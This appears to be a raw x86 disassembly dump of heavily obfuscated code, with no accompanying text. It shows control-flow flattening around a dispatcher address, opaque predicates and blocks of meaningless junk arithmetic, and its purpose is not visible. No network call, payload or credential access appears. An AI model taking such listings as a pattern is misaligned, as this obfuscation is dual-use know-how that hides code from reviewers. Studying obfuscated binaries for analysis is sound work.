mov ch, ah
xor ch, dl
mov cl, ch
xor cl, al
xor al, dl
or dl, ah
and al, ah
mov ah, dl
and cl, ch
xor al, 1
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
or al, ah
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xbc9abddb
cmovne eax, esi
test dl, 1
not cl
mov edx, 0xbc9abddb
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x402740
mov eax, 0x2d3fe15d
jmp 0x402740
mov eax, dword [ebp - 0x24]
mov eax, 0xfbf48136
jmp 0x402740
mov ecx, dword [0x4f6184]
mov edi, 0xfd3d32a0
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xfa46f214
mov esi, eax
or esi, 0x800500
and ecx, eax
and esi, 0x806514
and edx, 0xfa469200
or edx, esi
mov esi, ecx
not esi
and ecx, 0xff7f9aeb
or eax, esi
and esi, 0x806514
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x5b90deb
and eax, 0xfa46f214
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xd5fb3b76
and eax, 0x43ffacd0
mov esi, ecx
and esi, 0x2a04c489
and ecx, 0xbc00532e
or edx, esi
or ecx, eax
mov esi, edx
not esi
and edx, 0x2a04c488
and esi, 0xd5fb3b77
or edx, esi
mov eax, edx
not eax
and edx, 0xf4c788b6
mov esi, eax
and esi, 0xb387749
or edx, esi
mov esi, ecx
xor esi, 0xb4000026
xor ecx, 0x43ffacd1
or eax, ecx
and ecx, 0xb387749
and esi, 0xf4c788b6
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x2d21cccc
and edx, 0xd2de3333
or edx, esi
mov esi, ecx
not esi
and ecx, 0xd2de3333
or eax, esi
and esi, 0x2d21cccc
or ecx, esi
not eax
mov esi, 0x2fe5c94c
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc90045dc
and ecx, 0x36ffba23
or ecx, eax
xor ecx, 0x36ffba23
sete cl
setne ah
cmp dword [0x4f6180], 0xa
setl ch
setge al
or cl, ch
xor ch, ah
mov dl, ch
xor dl, al
xor al, ah
and al, cl
and dl, ch
mov ecx, edx
mov ah, al
xor cl, 1
xor ah, 1
and al, cl
or cl, ah
and ah, dl
mov edx, 0xfd3d32a0
or ah, al
mov al, cl
xor al, ah
cmovne edx, esi
test ah, ah
mov eax, edx
cmovne eax, edi
test cl, cl
cmovne eax, edx
jmp 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 1
and eax, 0x21ee7f5d
mov esi, edx
and esi, 0xfffffffe
and edx, 0xde1180a2
or ecx, esi
or eax, edx
mov esi, 0x6f25e41b
not ecx
xor eax, 0x21ee7f5d
or eax, ecx
xor eax, 0xffffffff
setne cl
sete dl
cmp dword [0x4f6180], 0xa
setl al
setge ah
and ah, dl
and cl, al
or cl, ah
mov ah, al
xor al, dl
or ah, dl
xor ah, 1
or al, ah
xor al, 1
mov edx, eax
or al, cl
xor dl, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x5d5141b3
cmovne eax, esi
test dl, dl
mov edx, 0x5d5141b3
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402740
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov dword [ebp - 0x148], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov dword [ebp - 0x14c], eax
mov eax, 0xcf6dc1db
jmp 0x402740
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x7c]
setne byte [eax]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x7c]
mov eax, 0x3617894c
jmp 0x402740
mov eax, 0xaf2a3b0e
jmp 0x402740
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, eax
not ecx
and eax, 0x92b4a886
and ecx, 0x6d4b5779
or eax, ecx
mov ecx, eax
xor ecx, 0x2808086
xor eax, 0x61421528
and eax, 0xf1763d28
and ecx, 0xe89c2d7
or ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xe89c2d7
xor eax, 0xf1763d28
xor ecx, 0x899ab2ef
mov esi, edx
or esi, eax
and eax, 0xfbaa3637
and ecx, esi
mov esi, ecx
not esi
and ecx, 0x38ec8fc7
and esi, 0xc7137038
or ecx, esi
mov esi, edx
and esi, 0x455c9c8
and edx, 0x40000000
or esi, eax
mov eax, esi
xor eax, 0xbbaa3637
xor esi, 0x401c9c0
or edx, eax
mov eax, ecx
not eax
and ecx, 0xe89efe7
and esi, 0xe89efe7
mov edi, eax
or eax, edx
and edi, 0xf1761018
and edx, 0xf1761018
or ecx, edi
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x38142261
and eax, 0x229002
mov edx, ecx
or edx, 0x42804108
and esi, 0x7a946369
and ecx, 0x85490c94
and edx, 0x7a946369
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xc7c94d9c
and ecx, 0x3836b263
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xf3c9b860
and ecx, 0xc36479f
or eax, ecx
mov ecx, eax
xor ecx, 0x53099820
xor eax, 0x220081
and eax, 0xa0e220c1
and ecx, 0x5f1ddf3e
or ecx, eax
mov eax, ecx
xor eax, 0x420041
xor ecx, 0x1911430e
and ecx, 0xb9b1638e
and eax, 0x464e9c71
or eax, ecx
cmp eax, 0x464e9c71
mov eax, 0x14b48514
setne byte [ebp - 0xa1]
jmp 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xf329ae94
mov esi, ecx
and esi, 0xcd6516a
and ecx, 0x5cb349dd
or edx, esi
mov esi, edx
xor esi, 0x52098000
xor edx, 0x4145120
and edx, 0xa5347fb4
and esi, 0x5acb804a
or esi, edx
mov edx, eax
or edx, 0xa5347fb4
and eax, 0xa34cb622
and edx, 0xa5347fb5
or eax, ecx
xor edx, esi
xor eax, 0xa34cb622
mov esi, 0x2ae8524b
not edx
or eax, edx
xor eax, 0xffffffff
setne ah
sete ch
cmp dword [0x4f6180], 0xa
mov al, ah
mov dh, ch
setge cl
setl dl
xor al, cl
or dh, cl
and ah, dl
or dl, ch
and al, cl
and cl, ch
mov bl, dh
or cl, ah
mov ah, dl
xor al, 1
xor cl, 1
xor bl, al
or al, dh
xor ah, cl
or cl, dl
xor al, 1
xor cl, 1
or al, bl
or cl, ah
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
or dl, al
xor cl, al
xor dl, 1
mov ah, cl
or dl, cl
xor cl, dl
test dl, 1
mov edx, 0xdb6a0101
not ah
cmovne edx, esi
test ah, 1
mov eax, 0xdb6a0101
cmovne edx, esi
test cl, 1
jmp 0x412fed
mov eax, dword [ebp - 0x24]
mov eax, 0x69e52784
jmp 0x402740
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov eax, 0x11a86c6e
jmp 0x402740
mov eax, dword [ebp - 0x174]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x178], eax
mov eax, 0x87637687
mov ecx, dword [ebp - 0x178]
mov dword [ebp - 0xfc], ecx
jmp 0x402740
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [eax + 4]
mov dword [ebp - 0x12c], eax
mov eax, 0x59c1924f
jmp 0x402740
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x4c]
add eax, 2
mov dword [ecx], eax
mov eax, dword [0x4f6184]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0x8b4d29b
and eax, 0xf74b2d64
or edx, eax
mov esi, edx
mov eax, edx
xor eax, 0xb4030100
xor esi, 0x8b4d29b
xor edx, 0xab939621
and edx, esi
and eax, 0xb4271193
and esi, 0x4bd8ee6c
or esi, eax
mov ecx, esi
mov edi, esi
xor ecx, 0x4bd8ee6c
xor edi, 0x17005529
xor esi, 0x4271011
and edi, ecx
and esi, 0x7a7b051
mov eax, edi
not eax
and edi, 0x5858205
mov ebx, eax
and ebx, 0xfa7a7dfa
or edi, ebx
mov ebx, edx
not ebx
and edx, 0x5858205
or eax, ebx
and ebx, 0xfa7a7dfa
or edx, ebx
not eax
xor edx, edi
mov edi, ecx
and edi, 0xf8584fae
and ecx, 1
or eax, edx
or edi, esi
mov edx, eax
not edx
xor edi, 0x7a7b050
and eax, 0x50c6e739
and edx, 0xaf3918c6
or ecx, edi
mov esi, ecx
or eax, edx
not esi
and ecx, 0xc2c5246c
mov edx, eax
xor edx, 0x41808302
and esi, 0x3d3adb93
xor eax, 0xc1e5c7d
or ecx, esi
mov esi, eax
and esi, 0xbe6130fc
and edx, 0x419ecf03
or edx, esi
mov esi, ecx
xor esi, 0x40840400
xor ecx, 0x3d3adb93
or eax, ecx
and ecx, 0xbe6130fc
and esi, 0x419ecf03
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0xaac0e204
mov ecx, eax
not ecx
and eax, 0xf7af4b2
and ecx, 0xf0850b4d
or eax, ecx
xor eax, 0xf7af4b2
setne dl
sete al
cmp dword [0x4f6180], 0xa
setl ah
setge cl
mov ch, ah
xor ch, al
or al, ah
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
and al, ch
or cl, ah
mov edx, eax
xor cl, 1
or cl, ah
mov ah, al
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, al
mov ah, dl
and dl, cl
xor cl, 1
xor ah, 1
and ah, cl
or dl, ah
mov ah, al
xor ah, cl
or cl, al
xor cl, 1
or cl, ah
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xe8c935f
cmovne eax, esi
test cl, 1
mov ecx, 0xe8c935f
jmp 0x4117b0
mov eax, dword [ebp - 0x14]
mov eax, 0xab7cf59d
jmp 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
or ecx, 0x612c0608
mov esi, edx
mov edi, edx
or esi, 0x8d00087
and ecx, 0x69fc068f
and edi, 0x9403f950
and edx, 0x33c8ab07
or edi, ecx
mov ecx, eax
and esi, 0x69fc068f
and ecx, 0x2000020
and eax, 0xcc3754f8
or ecx, esi
or eax, edx
xor ecx, edi
mov esi, ecx
not esi
and ecx, 0x9cd3f9d6
and esi, 0x632c0629
or ecx, esi
mov esi, ecx
not esi
mov edx, ecx
and edx, 0x875de014
and esi, 0x78a21feb
or esi, edx
mov edx, eax
xor edx, 0x482214e8
xor eax, 0x33c8ab07
or ecx, eax
and eax, 0x875de014
and edx, 0x78a21feb
or edx, eax
not ecx
xor edx, esi
mov esi, 0x7222a54
or ecx, edx
xor ecx, 0xffffffff
setne cl
sete ah
cmp dword [0x4f6180], 0xa
setl ch
setge dl
mov dh, ch
mov al, ch
or ch, ah
xor dl, cl
xor ch, 1
inc dh
and al, cl
or dl, ch
and dh, ah
mov ah, dl
or al, dh
xor ah, 1
mov cl, ah
and cl, dl
xor ah, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
or dl, cl
or cl, al
xor dl, 1
xor cl, 1
or dl, ah
mov ch, dl
xor dl, 1
and ch, al
xor al, 1
and dl, al
xor al, ah
or cl, al
or dl, ch
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xf4fdaf1a
cmovne eax, esi
test cl, 1
mov ecx, 0xf4fdaf1a
cmovne ecx, eax
test dl, dl
jmp 0x4117b6
mov eax, 0x48361298
jmp 0x402740
mov eax, 0x93b2a502
jmp 0x402740
mov eax, dword [ebp - 0x20]
mov dword [eax], 7
mov eax, 0x844c54a1
jmp 0x402740
mov eax, 0x4b6a2051
jmp 0x402740
mov eax, dword [ebp - 0x58]
mov dword [eax], 0x20
mov eax, 0x9ed3720f
jmp 0x402740
or ebx, 0x3e
and edi, 0x43
mov edi, 0xaf
sbb edi, 0xa0
dec ebx
rol edi, 0x75
rcr eax, 0xf2
dec esi
not esi
imul esi
not ebx
rol ebx, 0xe8
not eax
inc edx
not edx
rol ebx, 0x14
not esi
dec esi
sbb edi, 0xc8
inc ebx
rol edx, 0x96
sbb esi, 0xff
imul eax
rcl edi, 0x59
mov eax, 0x7b
not edi
rcl edx, 0x96
rcr eax, 0x5c
bswap edi
not edx
not eax
dec edi
and esi, 0x64
add ebx, 3
or ebx, 0xfb
dec edi
rcr esi, 0x67
bswap edx
rcr ebx, 0x5c
bswap edx
mov esi, 0x6d
dec edi
inc edi
not esi
and eax, 0x96
not edx
neg eax
dec eax
rcr edi, 0x37
sbb ebx, 0x5f
ror esi, 0x47
bswap esi
imul edi
rcr edx, 0x1e
mov edi, 0xfa
inc esi
mov edi, 0xe7
dec edi
sub edi, 0xf9
neg edi
dec eax
and eax, 0xc9
not eax
mov ebx, 0xf7
dec esi
rol eax, 0xb5
dec edx
dec ebx
rol eax, 0x30
sbb ebx, 0xd3
inc edx
rcr edx, 0x7e
rol edx, 0x7c
add esi, 0xf7
or eax, 0x43
and edx, 0x82
sub eax, 0x9c
or edx, 0x96
rcl edx, 0xb5
ror eax, 0x83
rcl eax, 0x17
dec edx
sub ebx, 0xe5
and edi, 0xd6
dec ebx
rcl ebx, 0xe6
bswap edi
imul esi
inc edx
dec eax
mov edi, 0x35
sub ebx, 0xc0
sbb edx, 0xfa
not esi
mov eax, 0xe2
rol ebx, 0x81
neg edi
bswap edx
rol ebx, 0x87
imul ebx
not edx
inc eax
or edx, 7
imul edi
rol edx, 0xdc
not esi
neg ebx
imul edx
or esi, 0x89
dec esi
sub eax, 0x51
and esi, 0xf1
imul eax
mov edi, 0xea
ror eax, 0x6b
rcr eax, 0x33
dec eax
inc esi
mov ebx, 0x6a
imul ebx
inc eax
dec esi
not edi
rol edi, 0x22
neg edi
and esi, 0x7d
sbb edi, 0xf7
and esi, 0x2d
add edx, 0x15
or edx, 0x3d
mov ebx, 0x98
add eax, 0x1b
neg eax
mov ebx, 0x87
ror ebx, 0x8b
imul esi
or esi, 0x53
bswap ebx
dec eax
mov esi, 0xcf
ror eax, 0xd9
or edi, 7
rol edi, 0x1f
bswap ebx
rcr edi, 0x34
rcl edi, 0xb5
neg ebx
inc ebx
add edx, 0x82
dec eax
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x1ac], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [0x4f6184]
mov eax, dword [eax]
sub eax, 0xffffff80
mov dword [ebp - 0x13c], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0xba0ada7a
and eax, 0x45f52585
or ecx, eax
xor ecx, 0xba0ada7a
or edx, ecx
mov ecx, edx
not ecx
mov eax, edx
or eax, 0x2021000
mov esi, ecx
or esi, 0x48b10ecf
mov edi, ecx
and eax, 0x4ab31ecf
and edi, 0xb148a000
or edi, eax
mov eax, edx
and esi, 0x4ab31ecf
and eax, 0x4044130
and edx, 0x45171d18
or eax, esi
xor eax, edi
mov esi, eax
not esi
and eax, 0x9252d247
and esi, 0x6dad2db8
or eax, esi
mov esi, ecx
and esi, 0xbae8e2e7
and ecx, 1
or esi, edx
mov edi, eax
xor edi, 0x42ab4888
xor eax, 0x94548376
mov edx, esi
xor edx, 0x45171d19
xor esi, 0x92a8c2e4
and edi, 0xd6afcaec
or ecx, edx
mov edx, eax
and edx, 0x29503513
and esi, 0xd6afcaec
or eax, ecx
and ecx, 0x29503513
or edi, edx
or esi, ecx
not eax
xor esi, edi
or eax, esi
mov esi, 0x23064699
mov ecx, eax
not ecx
and eax, 0x599eab26
and ecx, 0xa66154d9
or eax, ecx
mov ecx, eax
xor ecx, 0x109e0902
xor eax, 0xa0405401
and eax, 0xe940f625
and ecx, 0x16bf09da
or ecx, eax
mov eax, ecx
xor eax, 0xe1003201
xor ecx, 0x16bf09da
mov edx, ecx
and edx, 0xe7ccda6
and eax, 0xf1833259
or eax, edx
xor eax, 0xe7ccda6
xor ecx, eax
test ecx, eax
sete dl
cmp dword [0x4f6180], 0xa
mov ecx, edx
setge ah
mov al, ah
or ah, dl
xor al, dl
and cl, al
not al
and al, dl
xor al, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor dl, 1
or dl, al
or al, cl
xor dl, 1
xor al, 1
or dl, ah
mov ch, dl
xor dl, 1
and ch, cl
xor cl, 1
xor ah, cl
and dl, cl
or al, ah
or dl, ch
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x98918a9
cmovne ecx, esi
test al, 1
mov eax, 0x98918a9
jmp 0x414567
mov eax, 0x1c046d60
jmp 0x402740
mov eax, 0xfc63d913
jmp 0x402740
or edx, 0x62
rcr ebx, 0xcb
mov ebx, 0xdb
neg esi
mov edx, 0xcb
dec eax
bswap edx
or ebx, 0x5c
dec edi
sbb eax, 0xe4
rcr edi, 0x3f
bswap ebx
and esi, 0xb6
mov ebx, 0x92
rol ebx, 0xb7
ror edi, 0xb2
rcr edx, 0x75
dec edx
inc edx
neg eax
sub eax, 0xa7
mov ebx, 0x50
imul edi
ror ebx, 0x66
or edx, 0xfe
bswap esi
mov eax, 0x73
imul edx
rol edi, 0xbf
rol eax, 0xaf
imul esi
not esi
sbb eax, 0xf8
sub edi, 0x58
inc edi
sub eax, 0xa6
not esi
neg edi
sbb eax, 0xc
imul edi
neg esi
rcl edi, 0x68
not edi
mov edi, 0xdc
not edi
bswap edi
bswap esi
and edi, 0x56
or eax, 0x69
sub edi, 0x54
rol ebx, 0x41
and esi, 0xbd
neg esi
inc edx
inc edx
add edi, 0x7a
sub esi, 0x64
and eax, 0xb0
not edx
rcr ebx, 0x70
neg edi
sub edx, 0xf3
add eax, 0xfb
sub eax, 0xa8
mov ebx, 0xee
rol ebx, 0xf6
dec esi
rcr eax, 0x99
neg edx
or eax, 0xb1
sub esi, 2
rol edi, 0xd9
ror ebx, 0xa8
or eax, 0xfe
inc eax
rol edi, 0x95
bswap eax
inc esi
inc edi
add edx, 0x7f
add esi, 1
dec eax
rcl eax, 0xea
and eax, 0x65
imul ebx
ror eax, 0xaa
bswap ebx
sbb ebx, 0xf3
inc edi
add edi, 0xe4
rcl edi, 0xad
neg ebx
sub eax, 0x1c
rol edi, 0xf1
imul esi
rcl edx, 0xa8
mov ebx, 0x1a
mov edx, 0x4a
rcl esi, 0x85
inc esi
mov esi, 0xb8
add edi, 1
not edi
imul edi
inc edi
inc edx
bswap eax
inc edx
sub edi, 0x31
not esi
rcr esi, 0x46
and edi, 0x73
dec eax
not edx
imul esi
rol esi, 0x73
mov esi, 0xc9
imul eax
inc eax
sbb ebx, 0x7f
rcr edx, 0x64
rcl ebx, 0xe7
rcr ebx, 0xf8
imul esi
imul ebx
or esi, 3
imul edx
imul edi
sub esi, 0xf
not edi
inc edx
and ebx, 0xb4
imul esi
mov ebx, 0xc1
and edx, 0xe7
neg ebx
ror eax, 0x2f
imul edi
bswap ebx
dec edi
or edx, 0xf9
inc edi
inc eax
rcr edi, 0x59
rol edx, 0x8a
mov esi, 0x53
dec eax
inc esi
neg ebx
sbb eax, 0x68
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x1d8], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x1dc], eax
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edi, ecx
and edi, 0x1801a7
mov esi, ecx
and esi, 0xd7e25058
mov edx, eax
and edx, 0x2805ae00
and eax, 0xfd95fa89
or edi, edx
xor edi, 0x1801a7
or esi, edi
mov edx, esi
not edx
and esi, 0xca95fa98
and edx, 0x356a0567
or esi, edx
mov edx, esi
xor edx, 0xe000403e
xor esi, 0xc62a280
and esi, 0xeeab780
and edx, 0xf115487f
or edx, esi
mov esi, edx
xor esi, 0xf1154809
xor edx, 0xeeab780
mov edi, edx
or edx, ecx
and ecx, 0x26a0576
and edi, 0x26a0576
and esi, 0xfd95fa89
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0x8132fa59
or edx, eax
xor edx, 0xffffffff
sete dl
setne ah
cmp dword [0x4f6180], 0xa
setge al
mov ch, al
mov cl, al
or al, ah
inc ch
xor al, 1
and cl, dl
and ah, ch
xor ch, dl
or al, ch
or cl, ah
xor al, 1
mov ah, cl
or al, cl
xor ah, 1
mov edx, eax
not dl
and dl, ah
or ah, al
and al, cl
or al, dl
mov edx, 0x935137e9
mov ecx, eax
xor cl, ah
test al, al
cmovne edx, esi
test ah, 1
mov eax, 0x935137e9
cmovne edx, eax
test cl, 1
cmove edx, esi
mov eax, edx
jmp 0x402740
mov eax, dword [0x4f6184]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0xf6b903f5
and edx, 0x946fc0a
or eax, edx
mov edx, eax
xor edx, 0x66090330
xor eax, 0x946fc0a
mov esi, eax
and esi, 0x91b6c8c5
and edx, 0x6e49373a
or edx, esi
mov esi, ecx
not esi
and ecx, 0x6e49373a
or eax, esi
and esi, 0x91b6c8c5
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0xba3ee998
mov esi, ecx
and esi, 0x45c11667
or edx, esi
mov esi, eax
not esi
and eax, 0xba3ee998
or ecx, esi
and esi, 0x45c11667
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov edx, ecx
xor edx, 0xa9e929df
mov eax, ecx
and eax, 0x28c020c5
and edx, ecx
not ecx
and ecx, 0x8129091a
or eax, ecx
mov ecx, eax
xor ecx, 0xc000c5
xor eax, 0xd73fdf3a
mov esi, eax
and esi, 0x7c1a732a
and ecx, 0x81e108d5
or ecx, esi
mov esi, edx
not esi
and edx, 0x83e58cd5
or eax, esi
and esi, 0x7c1a732a
or edx, esi
not eax
mov esi, 0x4340dece
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xa54df388
and ecx, 0x5ab20c77
or eax, ecx
mov ecx, eax
xor ecx, 0x8a45245
xor eax, 0x1192100
and ecx, 0xfae656ed
and eax, 0x519a912
or eax, ecx
xor eax, 0x519a912
setne dl
sete ah
cmp dword [0x4f6180], 0xa
setl ch
setge cl
mov al, ch
xor ch, ah
and ah, cl
or cl, dl
and al, dl
xor cl, 1
or al, ah
or cl, ch
mov edx, eax
xor dl, 1
mov ah, dl
or dl, cl
xor ah, cl
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor ah, cl
xor cl, 1
or cl, dl
mov edx, eax
xor cl, 1
or cl, ah
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x780b81b
cmovne eax, esi
test cl, 1
mov ecx, 0x780b81b
jmp 0x4117b0
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0x3da8be93
mov edx, eax
and edx, 0x1c20ac91
and ecx, eax
not eax
mov esi, eax
and esi, 0x21881202
or edx, esi
mov esi, 0x1bddb05b
xor edx, 0x1c20ac91
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xd01e8f9e
and edx, 0x2fe17061
or ecx, edx
mov edx, ecx
xor edx, 0x41a03008
xor ecx, 0x248c4b2
and ecx, 0xae5ec5b6
and edx, 0x51a13a49
or edx, ecx
xor edx, 0x51a13a49
or edx, eax
xor edx, 0xffffffff
sete al
setne ah
cmp dword [0x4f6180], 0xa
setge cl
setl ch
mov dh, cl
mov dl, cl
and al, cl
and ch, ah
xor dh, ah
or dl, ah
or al, ch
mov cl, dh
xor al, 1
and cl, dl
xor dl, 1
mov ah, al
or dl, dh
xor cl, 1
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov ah, al
mov edx, eax
xor ah, 1
and dl, ah
mov ch, ah
xor dl, 1
xor ch, dl
or dl, ah
xor dl, 1
or dl, ch
xor dl, cl
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x3fd8f621
cmovne eax, esi
test cl, 1
mov ecx, 0x3fd8f621
cmovne ecx, eax
test dl, 1
cmove ecx, eax
mov eax, ecx
jmp 0x402740
mov eax, 0x73660e44
jmp 0x402740
mov eax, dword [0x4f6184]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0xf84a49a1
and edx, 0x7b5b65e
or eax, edx
mov edx, eax
xor edx, 0x584a40a1
xor eax, 0x7b5b65e
mov esi, eax
and esi, 0xa0103d4e
and edx, 0x5fefc2b1
or edx, esi
mov esi, ecx
not esi
and ecx, 0x5fefc2b1
or eax, esi
and esi, 0xa0103d4e
or ecx, esi
not eax
mov esi, 0x333102b5
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 1
and edx, 0xfffffffe
and ecx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xc9e5fb00
and ecx, 0x361a04ff
or eax, ecx
mov ecx, eax
xor ecx, 0xc55100
xor eax, 0x2012042f
and eax, 0xe932ae2f
and ecx, 0x16cd51d0
or ecx, eax
mov eax, ecx
xor eax, 0x144c1090
xor ecx, 0xe132280c
and ecx, 0xe3b3694c
and eax, 0x1c4c96b3
or eax, ecx
cmp eax, 0x1c4c96b3
setne al
cmp dword [0x4f6180], 0xa
setge cl
mov edx, ecx
or cl, al
xor dl, al
mov ch, cl
xor ch, dl
xor dl, 1
or dl, cl
mov al, ch
xor al, dl
mov eax, 0xab7cf59d
cmovne esi, eax
test dl, dl
cmovne eax, esi
test ch, ch
cmovne eax, esi
jmp 0x402740
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x1b0], eax
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x83c4311e
and eax, 0x7c3bcee1
or eax, ecx
mov ecx, eax
mov edx, eax
xor ecx, 0x8344000c
xor edx, 0x7c3bcee1
xor eax, 4
mov esi, edx
and esi, 0x409b3d92
and ecx, 0xbf64c26d
or edx, 0x80d4718
and eax, 0x70100884
or ecx, esi
and edx, 0x896dd778
mov edi, ecx
xor edi, 0x90510
mov esi, ecx
xor esi, 0x6000001
or eax, edx
mov edx, ecx
xor edx, 0x20444244
xor ecx, 0x120490
or edi, 0x81609060
and esi, 0x6822003
or edx, 1
and ecx, 0x9f3284b8
and edi, 0x896dd778
and edx, 0x60cd7b47
or esi, edi
or edx, ecx
xor eax, esi
mov esi, eax
not esi
and eax, 0xe8f671a
and esi, 0xf17098e5
or eax, esi
mov ecx, eax
not ecx
and eax, 0x9fc44828
mov esi, ecx
and esi, 0x603bb7d7
or eax, esi
mov esi, edx
xor esi, 0xc44800
xor edx, 0x9f3284b8
or ecx, edx
and edx, 0x603bb7d7
and esi, 0x9fc44828
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, 0xcede4367
mov edx, ecx
xor edx, 0xece387b2
mov eax, ecx
and eax, 0x4c238230
and edx, ecx
not ecx
and ecx, 0xa0c00582
or eax, ecx
xor eax, 0x4c238230
or eax, edx
not edx
and edx, 0x131c784d
and eax, 0xece387b2
or eax, edx
mov ecx, eax
not ecx
and eax, 0xe8efa72e
and ecx, 0x171058d1
or eax, ecx
mov ecx, eax
xor ecx, 0x6844a70e
xor eax, 0x4004840
and eax, 0x84ab4860
and ecx, 0x7b54b79f
or ecx, eax
xor ecx, 0x7b54b79f
sete al
setne dl
cmp dword [0x4f6180], 0xa
setl ah
setge cl
or al, cl
or ah, dl
or cl, dl
xor ah, 1
xor al, 1
mov ch, cl
or al, ah
xor ch, 1
mov edx, eax
mov ah, al
or al, ch
xor dl, 1
xor al, 1
and ah, cl
and ch, dl
xor dl, cl
or al, dl
or ch, ah
mov edx, 0xff80d5f8
mov cl, al
xor cl, ch
test cl, 1
cmovne edx, esi
test al, 1
mov eax, 0xff80d5f8
jmp 0x412e0e
mov eax, 0x2fb20e6e
jmp 0x402740
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
mov eax, 0x87e19ea
jmp 0x402740
mov eax, 0x599d549e
